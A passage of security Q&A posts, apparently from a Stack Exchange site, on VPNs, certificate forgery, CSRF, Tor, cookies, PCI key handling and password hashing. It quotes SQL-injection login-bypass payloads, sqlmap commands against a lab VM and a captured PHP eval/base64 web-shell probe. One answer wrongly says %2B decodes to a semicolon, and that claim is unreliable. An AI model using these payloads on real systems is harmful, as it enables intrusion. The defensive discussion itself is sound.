The only way to pass the clients original certificate or information about it are thus outside of TLS, for example by inserting some fields into the HTTP request header as described here for HAproxy. The server or web application then needs to check these fields at the application level instead of relying on client certificate validation at the TLS level.


VPN to protect traffic from one server to a remote site I need to install a server at a customer's site (Site A) that needs to communicate securely to a network at another site (Site B). The communication between Site A and Site B is over the internet. There are a number of un-encrypted protocols that need to be secured. The plan, I think, is to send everything through a VPN tunnel between Site A and Site B.

I assume the VPN could be configured to only send packets to site B that came from the IP Address of our server at Site A rather than send all source IP Address from Site A?

A high-level design that I've have seen has a site to site VPN, but no further details than that.

I presume this means that data would flow in the clear until it hit the firewall at Site A and would then be directed through the VPN tunnel to Site B.

My concern is the data flowing in the clear at site A's network before it goes into the VPN tunnel from Site A to Site B. I am not concerned about the data when it pops out of the tunnel at Site B as this is a trusted Zone.

Wouldn't it be more secure to have the VPN running all the way from the server we install at Site A to Site B. Isn't this more secure than having a site to site VPN? What is the typical way this type of problem is resolved?

I am not very familiar with VPNs. Am I missing something? What would be the advantages/disadvantages of either approach?

The server will be running Windows 2012 R2. What is a good VPN client that could be used on that server to send traffic over a VPN to Site B? Is IPSec the protocol that most VPNs use for this type of scenario?

The idea of a VPN is that traffic between two endpoints is securely encrypted and that the endpoints are configured to know about each other, thus expanding the private network over the inherently untrusted Internet.

Secure encryption is not particularly special and no particular method is required to make a VPN.  The assumption is that data in the wild-west Internet is unbreakable.  This is true with other secure protocols like SSL and SSH, etc.

The VPN is special and convenient because it extends your private network resources and address space via an internet connection.  A client-server VPN (e.g. connection to a company network from home computer) puts the client (home computer) on the network as though it was plugged into the network directly.  A peer-to-peer VPN such as you describe makes the network at one end equally accessible to those at the other end.

Typically, a VPN endpoint is a feature of, or linked to the firewall and router.  Traffic is efficient because unlike one-time connections, it's persistent, so the security handshake and key exchange happens infrequently.  (Compare this to an SSL connection between a browser and website).

If your VPN is to a customer (as opposed, for example to another office of your company) each side will decide what traffic is allowed and how much access A has to B's resources, and B has to A's.  These become standard firewall rules -- the same that may isolate one subnet of your network from another.  The nice thing about the VPN is that once established, who has access to what can be changed independently of the VPN connection itself.

I think your scenario is a peer-to-peer VPN setup.  There are standard protocols that allow VPN Brand A to talk to VPN Brand B, and there's some good free VPN software out there (OpenVPN).  Cisco, Checkpoint and others make devices and software that will work in most configurations and may be easier to manage than setting up a server to run OpenVPN or other software-based VPN.


How is certificate forgery with cheap CA's prevented? In order to perform a successful man in the middle attack on HTTPS, one needs to either strip SSL layer and convert it to HTTP completely or needs to have a valid certificate from a CA for the same domain to re-encrypt the content, therefore have a green bar.

Many cheap SSL providers allow you to get SSL certificates for domain names without putting much effort in verification. The situation could be better for domestic companies but foreign companies only need to fax some "good looking" documents at most, that's all.

What is the mechanism which prevents us from getting a valid SSL certificate for, say, google.com ?

CRL is only a post-disaster measure and it could be too late before a CRL is issued. What am I missing in the picture here?

EDIT: Interesting, a month after I asked this question, a Turkish certificate authority issued a certificate for a fake request for google.com domain, the example I used :)

For a successful attack, the attacker must either obtain a SSL certificate from one of the CA that the victim trusts, or he must induce the victim into ignoring the scary-looking warning that his browser will display.

Existing browsers and operating systems are shipped with a hundred or so of "trusted CA" and it is true that if one is deceived or bribed into issuing a fake certificate, then the fake certificate can be used to build a fake HTTPS server. The attacker would still have to make connections go to his server, either with links from spam emails or man-in-the-middle attacks.

It has happened. News article have used such events as basis to prophecize the End of the Internet, the digital Ragnarok which will plunge us all into chaos; that's how news media work (bad news is good news, and the Apocalypse is hard to top). However, what is interesting to note is that:

It did not happen often. A couple of (highly publicized) times.
The hole was promptly filled again (in particular, Microsoft pushed an explicit patch to "disable" the offending certificates, like a CRL which you cannot evade).

The point here is that obtaining a fake certificate is only one step in the whole thing, and even if it can be done, it is much harder to do it discreetly. When the attacker has obtained the fake certificate, he does not have much time before the fake issuance is discovered. On the other hand, a successful scam (be it with a man-in-the-middle or a lot of spam) needs preparation, care and some time. In a way, corrupting a trusted CA jeopardizes the whole operation, because it gives exposure to the attacker.

On the other hand, user's gullibility is a proven constant; there is no lack of it. It is much easier, and much less risky (for the attacker), to use it, and make the user ignore the browser warnings. Therefore, in practice, existing CA are very rarely corrupted.

To sum up: yes, with the current CA system, certification is only as robust as the weakest of the trusted CA, and that's not very secure -- but, in this world and day, this is secure enough. The Web SSL system works. The day the SSL system crumbles will be the day easier attack paths have all been closed, and users have become cautious and sensible, and attackers will have no choice but to obtain fake certificates. This will be cause to rejoice, not weep.

(But remember that the current Web+SSL works because of economics: attackers find it not worth the effort to attack CA. Be wary if you try to apply the same model elsewhere, where money and commerce operate differently, e.g. to secure the system for launching nuclear missiles. A security analysis always depends on the exact threat model.)


How can the Cookie-to-header-token CSRF protection technique be thwarted by permissive CORS origin header? According to https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-header_token

  The protection provided by this technique can be thwarted if the
  target website disables its same-origin policy using one of the
  following techniques:

  Permissive Access-Control-Allow-Origin Cross-origin resource sharing
  header (with asterisk argument) ...

Is that correct?
How does a Access-Control-Allow-Origin=* header thwart the protection? Cookie access is not governed by Access-Control-Allow-Origin headers. An attacker can never read that cookie's content via JavaScript if they are in a different origin, am I missing something?

Also if the value is * then withCredentials is automatically false (https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials)

And even if it was possible, XHR doesn't allow you to read another domain's cookie, even if successfully set (https://fetch.spec.whatwg.org/#forbidden-header-name)

Is that claim wrong or perhaps I'm missing something? Or maybe the article meant that this in combination with the other items together is needed to thwart this method?

EDIT To clarify, the Cookie-to-header-token does not include a hidden input field, just a Cookie.

Usually a CSRF token is available in the body of a response from the server. They're commonly inside a hidden input inside a form in an html response. If that page includes a Access-Control-Allow-Origin=* header, then any website on the internet could make a request for that page and get the CSRF token.


What would be the repercussions in Information security, if someone found a way to factor large numbers quickly? I am curious as to how exactly cyber-security would be affected if someone found a way to factor a large number quickly into its multiples. Let's assume that the time required for factorization is roughly equivalent to the time that it takes to multiply. How exactly would the present security landscape change?

This is highly speculative, but, presumably, there would be much wailing and grinding of teeth. Then people would migrate to asymmetric cryptosystems that use elliptic curves. There would be some heavy business for CA; many SSH keys would have to be rolled over; and the PGP users would cringe first at the idea that anybody can impersonate them by forging signatures, then would cringe again when they notice that nobody actually bothers to do just that.

Switching to ECDSA would have the nice side-effect of killing off the last WinXP+IE setups, since the X.509 implementation used by WinXP+IE (for SSL connections to Web servers) does not support ECDSA.

Banking systems (EMV smart cards...) tend to use RSA so there would be a quickened renewal of cards and terminals, which would incur much grumbling from merchants, and would still take a couple of years to be effective.

A crucial point to understand is that while difficulty of integer factorization is what RSA security relies on, easy factorization does not immediately make the systems cease to work. If you can factor, say, Google's certificate RSA key, then you can impersonate Google, or decrypt passively recorded sessions, but you still have, as an attacker, to mount the eavesdropping or network spoofing system (which is not that hard to do, but not completely immediate either). I predict that the panic reaction would be much greater than the actual issues.


SQLMap Failure, Manual SQL Injection Success I'm trying to understand why SQLMap failed when I think it shouldn't have.  On my local network, I have a VM loaded with a very basic SQL injection vulnerability.  Manually running this code through the UserID field will get you through the login.php script:

'|| 1=1#;

This injection also worked:

'OORR 1=1#;

Given that a simple SQL injection like this works on the form, I'm not sure why SQLMap keeps reporting that there are no injection vulnerabilities in the page. I'm guessing that I'm writing my shell commands incorrectly, since I'm just getting started with the tool.  So far, I've run the following:

sqlmap --wizard 192.168.254.21
sqlmap --level=5 --risk=3 -a 192.168.254.21

In both cases, SQLMap comes back reporting no vulnerabilities. Any ideas on how to improve my use of the tool so that it will correctly identify basic vulnerabilities like this?

You usually need to provide sqlmap with the specific request that you want to test for SQL injections. It's not sufficient to specify a plain IP address since sqlmap can't reliably analyze the web application and recognize the form parameters by itself.

Your command would have to look something like this:

./sqlmap.py --data "user=test&password=test" -u http://192.168.254.21/login.php

(You'd have to replace user and password with the correct parameter names of your login form.)

Alternatively, you can experiment with the --forms argument that instructs sqlmap to search for form parameters itself, but that's not always reliable as sqlmap isn't built for scraping complex web apps.


Why can't search engines reach the dark web? Why can't search engines such as Google, Yahoo and Bing reach dark web and archive its content to display it in their results?

Assuming you are talking about Tor hidden services, then the answer is they can, but only indirectly. There are various "portal" sites which provide a gateway to hidden services. These gateways are normal websites with regular domains, but are running tor2web software, which uses the Tor client to relay traffic between non-Tor and Tor users (but note that they provide no anonymity). These can be indexed at will.

There are several reasons why Tor hidden services are not indexed frequently:

As someone else pointed out earlier, it's very disjointed. Very few sites link to each other, limiting crawlers' ability to find new sites and new pages. It's like the open internet from the 90s.
It uses its own protocol, so without portal/gateway sites, they would be unable to connect. Try connecting to a .onion domain in a normal browser. You'll see it won't even resolve.
There are not that many hidden services out there. The myth that it is "vast" is ill-founded, based on a misunderstanding of the terminology. In reality, it is really quite small.
Some sites are blocked by portal/gateway sites for legal reasons, so they can only be accessed using the Tor protocol. As search engine crawlers don't use this, they can't access the sites.

There is no single "database" of hidden services as there is for regular domains (root nameservers). A hidden service is based on an encoded, truncated hash of the server's public key. The client uses the service's domain name and looks up the hidden service's descriptor in a semi-public database, which contains its public key and a list of Introduction Points (relays chosen by the server). The client selects a random relay as a Rendezvous Point and sends that relay's ID to the hidden service over the Introduction Point. The server and client then meet through the Rendezvous Point over their own three-hop circuits.

Through a complex protocol, the client and server thus manage to form a connection without either of them needing to reveal their real IP. Because there is no IP address that the domain resolves to, a regular search engine can't reach it using standard HTTP with TCP/IP. In order for a search engine crawler to connect to these sites, it would have to use this protocol. That is not very practical for them.


Is a LAN to LAN with different subnet configuration secure? I plan to implement the following network configuration :
Internet [(cable A)]
Router A
(192.168.0.x)[(WAN:cable A)(LAN1:cable B)(LAN2:)(LAN3:)(LAN4:)]
Router B
(192.168.1.x)[(WAN:)(LAN1:cable B)(LAN2:)(LAN3:)(LAN4:)]
The first LAN port of router A is connected into the first LAN port of router B, but both routers are in a different subnet.
Usually, when I setup two routers together, I do a double NAT configuraton (LAN to WAN) or a LAN to LAN in the same subnet.
I know the following facts:
In a double NAT configuration such as this one,
Internet [(cable A)]
Router A
(192.168.0.x)[(WAN:cable A)(LAN1:cable B)(LAN2:)(LAN3:)(LAN4:)]
Router B
(192.168.1.x)[(WAN:cable B)(LAN1:)(LAN2:)(LAN3:)(LAN4:)]
Hosts from router B can communicate with hosts from router A.
Hosts from router A can't communicate with hosts from router B.
In a LAN to LAN in the same subnet configuration, any hosts can communicate to any. It's the same subnet.

In the network configuration I plan to implement, LAN to LAN but in a different subnet, I noticed that hosts from both network can't be reached. Is this a secure way to isolate networks, at least better than double NAT ?
The connected router B gets an IP address in the router A subnet (192.168.0.x).
Also, I did not have to define any static routes to get internet access, I have difficulties to understand how this is possible since router A gateway does not ping.

By "secure", I'll assume you mean secure as in devices on one network are not able to communicate with devices on the other network.
In your scenario, you are physically connecting two networks together, since router A's network is plugged into a switch port on router B. This means that they are both part of the same broadcast domain and link-local network.
So, using the above definition of "secure", this is not secure at all. While devices configured this way will not be able to talk to the other network, all it takes for them to do so would be to add a secondary IP address that is on the other network. Attacks such as ARP spoofing are viable across the networks.
The proper solution would be to physically separate the networks, and manage traffic between them using firewall rules.


If a user visited a malicious website a year ago, should we nuke from orbit to be safe? A Microsoft Security Essentials virus scan just finished on one of our computers and it shows two potential threats in Internet Explorer's temporary internet files:

Web page with Black Hole Exploit Kit
Specially crafted PDF file (part of Black Hole Exploit Kit)

The two items were downloaded on the same date about a year ago, so I think it's safe to assume a user visited a malicious site (item #1) which downloaded the PDF (item #2). The user account is an unprivileged non-administrative account.

According to Microsoft, the PDF was meant to exploit a bug in an old version of Adobe Reader which had been fixed long before the PDF was downloaded. We keep our software up-to-date here, so it looks like this exploit failed. The virus scan didn't detect any other problems.

My main concern is that the malicious site tried to use several exploits and Security Essentials didn't detect all of them. Should I nuke from orbit just in case, or trust the antivirus and let it just delete the files?

What you have there is evidence of an infection attempt, not a successful infection. It's not uncommon to have these types of files in the temp internet folder if they were not blocked by malware protection.

However, you do need more evidence that the machine is clean before you consider NOT nuking it from orbit. Scans from a LiveCD (or boot-time scan), or evidence that the attempt was blocked would be required.

If you are unsure, or cannot confirm that the infection did not occur, then you should re-image. You DO have a rapid re-imaging strategy, right??

My other concern is that these files were not seen until now, which raises more questions for which the answers are likely to be to reimage anyway.

On a side note about anti-virus: "trust, but confirm". My rule of thumb is that AV blocks 80% of possible threats. I confirm clean machines instead of trusting a 'dirt preventor'.


Number of bytes in a TLS handshake How can I identify precisely the exact number of bytes the ClientHello and ServerHello in a TLS traffic needs? this is for traffic analysis purpose to capture the TLS bytes of interest (client hello and server hello only).

How can I identify precisely the exact number of bytes the ClientHello and ServerHello in a TLS traffic needs?

The size of the ClientHello varies. Parts of it depend on a specific client TLS implementation or configuration, especially the number of ciphers offered by the client and the extensions. Then there are use case specific differences: for example the client might add ALPN extension to signal support for HTTP/2 in case of a web client. The size of the server_name extension depends on the size of target hostname. And then there might be additionally a session id or session ticket if the client tries to resume an existing session. Only if all these variations are known you can compute the size of the ClientHello simply be filling in the necessary parts in the ClientHello structure.

The ServerHello itself is similar variable size and depends mainly on the kind of extensions added. But, after the ServerHello  you get additional variable parts until the ServerHelloDone message, like the certificates (which can differ in both number and size), key exchange specific parts and an optional variable-sized CertificateRequest. Similar, only if all of this is known you can compute site size of it.

If you instead just want to get some statistics about this you might do a packet capture of your favorite use case, extract the relevant parts and measure their size (or look at the length fields as RoraZ suggested). Note that any conclusions you draw from this only apply to the use case and context you've measured. It can be wildly different if other clients or other servers are used or even if the same clients or servers are used but the hostname and certificates differ.

If you've already captured traffic then getting the size of each record is simple since all records follow the same structure described in RFC 5246 section 6.2 Record Layer: first is the ContentType (one byte - 0x16 for records in the TLS handshake), then the protocol version (two bytes) and then you have the length of the remaining data (uint16, i.e. two bytes).


Is my hashing function good enough Is there an obvious flaw with this hashing function (written in PHP)?

function hash($password) {
  sleep(1); // Make hashing slow
  $hash = "";
  $iterations = strlen($password);
  for ( $i = 0; $i < $iterations; $i++ ) {
      $hash = hash('sha512', USER_PASSWORD_SALT . $password);
  }
  return $hash;
}

Yes, there are obvious flaws. Here are some:

You can’t make hashing slow by introducing simple delays. An attacker doesn’t have to evaluate the hash the same way you did; they just need to get the same answer in the end. That means whatever is making the hash slow needs to be a necessary component of the hash — it must be impossible to compute the hash without doing that. In fact, the sleep(1) is the kind of thing you have to avoid, in that it makes legitimate hashing slower than an attacker’s hashing (the whole point of hash design is to minimize the advantage of an attacker).
The number of iterations is the length of the password. This isn’t enough. You want at least tens of thousands of iterations.
The salt appears to be global. That’s not a salt; a salt has to be different for each user.
This isn’t a standard algorithm. That means that it’s not a good idea to trust it for actual use. There are three algorithms with a fair amount of analysis (scrypt, bcrypt, PBKDF2). These have been looked at by actual cryptographers, and seem secure. Use one of them.
The correct way to do a password hash in PHP is with the password_hash function, which handles everything for you (implementing an algorithm yourself is a poor idea for security just as much as creating your own algorithm is).


how can you inject malicious code into an innocent-looking URL? I am learning about XSS attacks. Wikipedia says that in a non-persistent attack an attacker may provide an innocent-looking URL that "points to a trusted site but actually has an XSS vector." What would this look like? Can someone provide an example?

I wrote a blog a while back about a security flaw in iOS's Safari Mobile browser. Which pretty much allows you to mask a URL. The hole was fixed with iOS 5.2 I believe and the hole I know for a fact is no longer available in iOS 6.x. But in short people can find such security holes in certain types of web browsers, then use them to their advantage. In the case of iOS it was pretty much just a case of using some sloppy JavaScript with iframes. Like the following.

As you can see there are two URLs: http://www.apple.com and my blog. When viewed on certain mobile Apple devices you will see www.apple.com in the address bar, but see my blog's content instead of Apple's website.


Use OpenId Connect for authentication only OpenId Connect adds authentication to the OAuth2 protocol. OAuth2 is a protocol used for authorization. But what if I'm only interested in authenticating a user? After reading up on OpenId Connect, it looks like you receive both an ID Token and an Access token upon success. But what if I don't care about authorization here. Can I omit the Access token from the protocol? Are there better protocols to use if I'm only interested in authentication (e.g. SAML)?

Looks like I found the answer on Access Token:

  UserInfo Endpoint

  It should be noted that clients are not required to use the access
  token, since the ID Token contains all the necessary information for
  processing the authentication event. However, in order to provide
  compatibility with OAuth and match the general tendency for
  authorizing identity and other API access in parallel, OpenID Connect
  always issues the ID token along side an OAuth access token.

http://oauth.net/articles/authentication/


Attribute certificate to model subject-object-action for access control I am using Attribute Certificate (along with X509 PKC) for access control. What I really want to model is an access control semantic where a subject has a privilege to perform certain action on certain object.
An example would be resource1 wants to fetch-profile of resource2. Here resource1 is the subject and fetch-profile is the action. Whereas resource2 is the object in this case on whom some action is to be performed by some other entity.

The subject and action parts are easily achievable with attribute certificates. Subject is the subject of the AC and I am modeling action using the Role attribute. However I am not sure how or if it's possible to achieve what I want with the object entity. I would really appreciate any help on this matter.

Note: A typical application where the subject assumes the identity of the object within certain scopes (e.g. with oAuth2) is not really applicable in my case. I want subject to maintain its own identity and do some action on some other entity. And I want to model this access criteria using attribute certs.

From what you describe, it sounds like you are looking for Role Based Access Control (RBAC).

The certificate can be used to identify (authenticate) the subject, while the RBAC model would handle the authorization. This would mean that you would have to enforce the RBAC rules within your software (which is not an uncommon thing).

Note that the rules for the RBAC models can, if so desired, be managed outside of your software. Only the hasAccess($subject, $action, $object); call needs to be implemented in your software.
The certificate provides the subject, the software should know which action on which object is requested.


Centralized local hosted web based password manager In our company we have more than 100 employers and everyone use several online applications daily. To access all of this sites they need a password which was now stored very insecurely. so I'm planning to deploy a centralized password manager that can access via web browser within our local area network.

I read little bit then I found that locally deployable web based opensource passwords managers are very rare. I found one that called RatticDB but unfortunately it store all passwords in plain text. they suggest encrypt the data volume which I don't like.

Could someone give me a possible and alternative to the ratticDB with encryption. or my appdev guy said that he can develop one with encryption but i worried about quality. Should I go with him ?

What you're looking for sounds like Privileged Access Management - a central database that stores administrative and other non-user credentials and allows authorized users to "check them out" for use.  Such systems often will programmatically change the credentials on the target system so as to prevent re-use outside the window for which access was granted.

The most prominent example of this sort of software is CyberArk.  You install it on your network, tell it how to authenticate your users, then you start stuffing credentials into it and, if possible, telling it how to "manage" credentials.  It can be configured to change them regularly (e.g. every 60 days), after use, or however you like.

Competitors to CyberArk include Dell Privileged Password Manager and BeyondTrust PowerBroker.  And here's a wider list of products that "compete" with CyberArk, ranging from local single-user to cloud multi-user, you might find a match for your needs somewhere on this list.

It is possible that OpenIAM Access Manager, which is Open Source, would provide the functionality you're looking for - but OpenIAM addresses a much wider swath of the Identity Management field, so I'm not sure if it would be suitable for what seems like a more limited need on your part.


Does GRE Tunneling "really" hide your main IP? As we all know, setting up a GRE Tunnel is nice to hide your main ip under a dedicated server. My question is, is it really hidden? Is there a way a malicious user could somehow find your main ip through the GRE Tunnel? How about, your main IP being public on the internet? Isn't it still susceptible to bots and brute forces and ddos's. No IP address is really 100% hidden is it?

Going through a GRE or other VPN tunnel does in fact obfuscate your IP address on the internet, provided the tunnel is acting as your default gateway and no other gateways are specified in your routing table.

When this is done, the normal means of gleaning one's IP address such as checking netstat/connection information, checking server logs, or querying it through whatever protocol will reveal only the VPN IP address.  Your "real" IP address should not leak at all through the tunnel under normal circumstances.

However, this is not the be all and end all of obfuscating your IP address.  Some client side applications may detect and send your real IP address to the server as well (although typically this will be a local IP address and not useful for an attack, per RFC1918).  Some javascript on web sites might contain an element that attempts to maliciously pass on your real IP address.  So, there are many caveats here.

Also, of significant note is that governments and private investigators armed with subpoenas will probably be able to easily track you despite use of a tunnel.  This due to their access to privileged locations on the internet, and ability to even subpoena the VPN provider.  From a technical standpoint, they can correlate traffic sent from the VPN IP to traffic sent back over it, and determine your real IP.   Or they can just get it by subpoenaing the ISP etc for logs.  Thus part of the reason Tor exists.


Delete secure cookie using javascript After reading some responses here and in other sites, I am a bit confused if a secure cookie (not httponly) can be deleted in client side using js.

for example, @8zero2-ops says that there is no relationship between secure flag and js involvement ( https://security.stackexchange.com/a/140330/209597 ). while in here

https://github.com/salemdar/ngx-cookie/issues/18#issuecomment-345261665

it is mentioned that js would not be able to read secure cookies.

Based on my own limited tests, I think js is not able to delete secure cookies. any information would be appreciated.

thanks

Secure cookies can be read with JavaScript, but HTTPOnly ones cannot. This means that if both flags are set, they cannot be read - the flags are terribly named.

Secure is to do with transmission - they should only be sent over HTTPS connections - but it is possible to set secure cookies from JS, and there isn't any specific expectation that they cannot be read by JS.

HTTPOnly is to do with client side access - they can't be viewed by JS, but can be sent over HTTP (and HTTPS - I have seen people claiming that they can only be sent over plain HTTP, which is not the case) connections for access by server-side scripts.

In many cases, both flags are set. In that case, the cookie will only be sent over HTTPS connections, and will be inaccessible by client side scripts.

What makes this more complicated is that cookies can have various parameters set, such as the domain and path attributes. If a cookie has the same name as a pre-existing cookie, but different values for any of these flags, a new cookie will be created. By the same token, if a cookie has a domain attribute set, attempting to delete it without including the domain attribute won't work - it deletes the non-existent cookie with the same name and no domain. Oh, and if you have the same domain and path for a secure cookie, and attempt to overwrite it without setting the secure flag, it doesn't create a new cookie, just removes the secure flag and sets the new value - this is a bit counterintuitive given the domain/path behaviour.

In order to delete a cookie from JS, therefore, you need to ensure that you are addressing the correct cookie by both name and flag values, and that it doesn't have HTTPOnly flag set, and that you're on a page with a HTTPS certificate. If any of these are not true, you won't be able to edit/delete it.


Why deploy a .p12 client certificate bundled with a root CA? I have been asked to connect to a government agency secure site
that uses client certificates to authenticate its clients.
I received by email an encrypted client certificate as a PKCS#12 file
and by other means the password for the file.

The interesting fact is that the PKCS12 file also contains
a root certificate authority for that government agency ; when you
install the certificate in Firefox, it will also trust the associated root CA.
When you install on Windows it will prompt for install and trust the
associated root CA.

The government site uses TLS with a certificate generated by that particular root CA,
so I think this is the reason why it was bundled in the first place.

But.. from the client point of view, trusting this new root CA is a real security issue.

I guess this site could have been created in a different manner that would not involve
planting a new root CA in its clients (i.e. Use Client Certificate using Self Signed CA while using Web Certificate of a publicly trusted CA)

Is this government agency trying to be malicious with its root CA, or is it just a cost-effective, acceptable solution ?

nb: There is good documentation for TLS around the web, but not about client certificates deployment. I could not easily find good documented best practices for deploying such a "platform" using client certificate authentication.

Most likely the p12 contents are determined by the tool used to create them. Government agencies are almost legendary in their odd choices of tools and software. It's quite unlikely that anyone involved has thought this through as thoroughly as you have.


Should log files be kept secret? Accessing web server log files via a URL has a certain appeal, as it provides easy access. But what are the security risks of allowing open access to log files?

There are clearly 2 different lines of defense here.

First, highly sensitive data (secrets, typically passwords) should never be logged to avoid compromise through logs.

But the more an attacker knows about a system, the higher the risk to build/use a targetted attack. For example software versions are not highly sensitive and can reasonably feed a log, but they can help in choosing an attack vector.

So the second line of defense is that someone that does not need access to the logs should not be able to read them. That is a direct application of the least privilege rule.

It is common to provide log access to the dev/maintenance team, but you should evaluate the risk/gain ratio, according to your access security tools. The most secure system is the one that cannot be accessed by any user, but its useability is very low too...


Does a constantly dynamic cluster of short-lived instances reduce attack surface? The 4am Idea

The general idea is that every instance that gets launched on my cluster is preloaded with a 'suicide script' that after a preset Time To Live (say, 27 minutes) launches a replacement instance, and then terminates itself.

The result is a 'constantly rolling' cluster where no IP address exists for longer than the TTL of any given instance.

I don't have a comprehension of attack vectors or attack surface theory like I'm sure most of you do, but this sort of approach seems to offer some interesting advantages.

Here's What I'm Thinking Could Be Achieved

Reduce Overall Intrusion Attempts Per Instance: The short lifespan of each IP would reduce the time available for any intrusion attempts. Once a target IP is found, the attacker has only the TTL before the window closes, thus reducing the overall number of attempts, thus reducing the overall probability of a successful attack.
Frequent Security Updates: The instances would handle their security updates upon launching, which means they would never be more than 27 minutes out of date with security patches.
Eliminate Deployment Layer: If you handle app deployment upon launching, which I do, this would automate the process even further by obviating the need for Githooks or Dockerhubhooks, for better or worse.

  A quick thought experiment would also reveal that if you reduce the TTL down to a point where any given instance only has time to handle starting itself up, handling a handful of requests (the 'suicide script' could also be triggered after a certain number of requests have been handled, like say, 27), and then it goes down it seems to me that it would greatly increase the difficulty of an attack. If the attack requires more than 27 requests then the attacker would never be able to complete all the steps needed to succeed.

So I think those are interesting, good things. There are obviously many more factors to take into consideration, not least of which is the impact this could have on how requests are handled by your router, and whether or not your cloud provider would even allow this considering the extra CPU load it would put on their system.

Would this reduce the attack surface for the following attack vectors?

Attempts to compromise open-ssl
Port Scanning
HTTP/HTTPS which is listening on 80 and 443 on each instance

It's worth noting the the applications on each instance would be ephemeral apps, the session storage is a remote Mongo cluster (running in the same AWS region), and Nginx would be used on each instance to handle the routing of traffic to the correct IP:PORT of each app installed on the instance, which is why 80 and 443 need to be open.

Thanks in advance for any information you may want to share.

Does a constantly dynamic cluster of short-lived instances reduce
  attack surface?

Reduce the attack surface?

I don't think it does significantly. It wouldn't necessarily allow you to run any fewer services or have any fewer services exposed to potential attackers. The overall exposed surface of your system stays the same.

Reduce the threat?

I don't think so either, it doesn't necessarily reduce the number of vulnerabilities which might exist in your system or the number potential attackers who are motivated and capable of exploiting your system. It may reduce the threat slightly if this could lead vulnerable software to be updated more quickly, but that could also be achieved without replacing the instance.

Reduce the risk?

Yes, I think it would - the question is by how much. You're making it more difficult for an attacker to exploit your system, and therefore reducing the chance that they will succeed but you're not fundamentally removing any attack vectors.

I'd consider this somewhat like an intrusion prevention system (IPS) that generally attempts to block suspicious requests. In that case you're reducing the chance that an attacker will succeed because they first have to circumvent the IPS, but you're not actually removing any vulnerabilities from your system.

Also, there's certain attack vectors which would be entirely unaffected by this:

SQL injections - Could be exploited regardless of which instance served the request
DDoS against a computationally expensive request delivered via your load balancer
Malicious code stored in shared infrastructure - eg. your DB

  the attacker would never be able to complete all the steps needed to
  succeed

This would be valid if you could guarantee that a vulnerability cannot be exploited in 27 minutes - otherwise the effectiveness will vary greatly between attack vectors. Some attacks could easily be orchestrated in less than a minute.

For example, in real life time-delay locks works because if you know that the police will arrive in 20 minutes but the safe can't be opened for 30 minutes. Unless you could recreate this scenario I don't think any vulnerabilities are eliminated.

  Attempts to compromise open-ssl

I doubt it assuming all of your instances are running a vulnerable version. Maybe if it takes longer than 27 minutes to exploit.

  Port Scanning

No, all your instances would presumably have the same open ports and active services. When one instance goes offline they could just continue the scan on another instance where they left off.

  HTTP/HTTPS which is listening on 80 and 443 on each instance

There's a huge variety of exploits that could be delivered over HTTP, but in general I don't think it would make much difference. Typically load balanced systems are designed to serve the same response from every instance, therefore if an SQL injection can be performed against one instance it would almost certainly work against another.


How to determine which security testing method to use if resources are limited My resources are limited, and thus i am wondering what methodology can I apply to know where black box testing is best fit, where white box testing is best fit? Or even where pen testing is better than code scanning or than code review?

Please elaborate in details on the HOW such a methodology would help me determine my decisions.

It is important to understand that security assessment methods can use either black-box or white-box methods, and can be based upon either automated or manual methods.  All 4 combinations are possible (e.g., automated black-box pentesting tools; manual black-box pentesting; automated source code scanners; manual source code review).  Also, it is important to understand the difference between a security architecture review (looking for architectural/design issues) and a code assessment (looking for implementation bugs); usually, black-box and automated methods are mostly focused on the latter.  I'm going to assume you are focused on a code assessment, looking for implementation bugs.

With that background, here's a suggested checklist to help you decide which method to use:

Do you have source code?  If no, use black-box testing.  White-box methods require source code.
Have you ever done any kind of security testing, pen testing, security code audit, or other security assessment before?  If no, use black-box testing.  It is cheaper.  Start small and work your way up.
Are you just in it to comply with a mandate, or are you trying to protect your own systems?  If this is just about compliance, choose whatever the cheapest answer that will get you to the checkbox (typically black-box testing).
If you've made it to here, you'll need to do a cost-benefit analysis.    I would suggest starting with the cheapest methods, use them to improve your security software development lifecycle.  Then start by gradually easing into white-box and manual methods, and evaluate the value to your business.

Generally speaking, black-box testing is cheaper than white-box methods, but black-box testing finds fewer bugs.  Generally speaking, automated tools are cheaper than manual methods, they scale a lot better to large codebases, and they are better-suited to periodic scans/reviews, but automated tools may find fewer bugs than manual methods.

See also White-box vs. Black-box, Do blackbox penetration tests make sense if a whitebox audit would be possible as well?, Expected cost and time frame for black box pen testing?, How much does a security audit cost?.  Don't forget to try using search before posting a new question -- there's lots of good stuff already on this site!


PCI 3.6.6 cryptographic key procedures include split knowledge My question is, if you run your own company and there are no employees and you still qualify under assessment D what do you do in a case like this where it is requiring 2 or more people? On a related question, at some point at least 1 person programming code would be able to get or see all of the key even if it was split between different people because the code would require the full key to decrypt data, if they have access to the code they have access to the key so how is that supposed to be handled?

3.6.6
Do cryptographic key procedures include split knowledge and dual control of cryptographic keys (for example, requiring two or three people, each knowing only their own key component, to reconstruct the whole key), for manual clear-text key-management operations?
Note: Examples of manual key management operations include, but are not limited to: key generation, transmission, loading, storage and destruction.

At some point you will have to trust some code, somewhere. This is why audit procedures involve source code review and background checks on developers.

For the practical way to split and reassemble a secret, a reasonably strong way is to make the reassembly only on a "safe" machine, under visual scrutiny of the secret part holders. A "safe" machine can be a laptop which:

Is kept in a safe or a reasonably sturdy locked cupboard when not in used.
Is booted off a CD-ROM or a write-protected USB key when it should be used.

This kind of thing can be arbitrarily expanded upon, depending on the amount of safety or paranoia you have to contend with (e.g. put the machine in a bunker with armed guards; hire external auditors whenever you come close to the machine; use Hardware Security Modules to run the code which uses the rebuilt secret...).


Help with decoding this? Base64 attack I'm trying to decode this attack. I know it's attempting to send some kind of malicious command to the web server but I can't figure out how to decode it. It's like encoded more than once or something. I don't know. I've looked around and can't find it.

a=@ eval (base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7

You need to url decode it first. There is a character in the middle %2B that is a ;.

Check this out.

